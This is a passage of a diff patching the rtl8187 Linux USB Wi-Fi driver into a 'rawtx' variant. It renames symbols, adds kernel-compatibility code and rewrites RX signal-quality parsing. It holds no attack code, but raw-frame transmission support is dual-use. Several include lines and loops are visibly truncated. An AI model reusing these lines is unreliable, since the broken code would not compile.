((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - 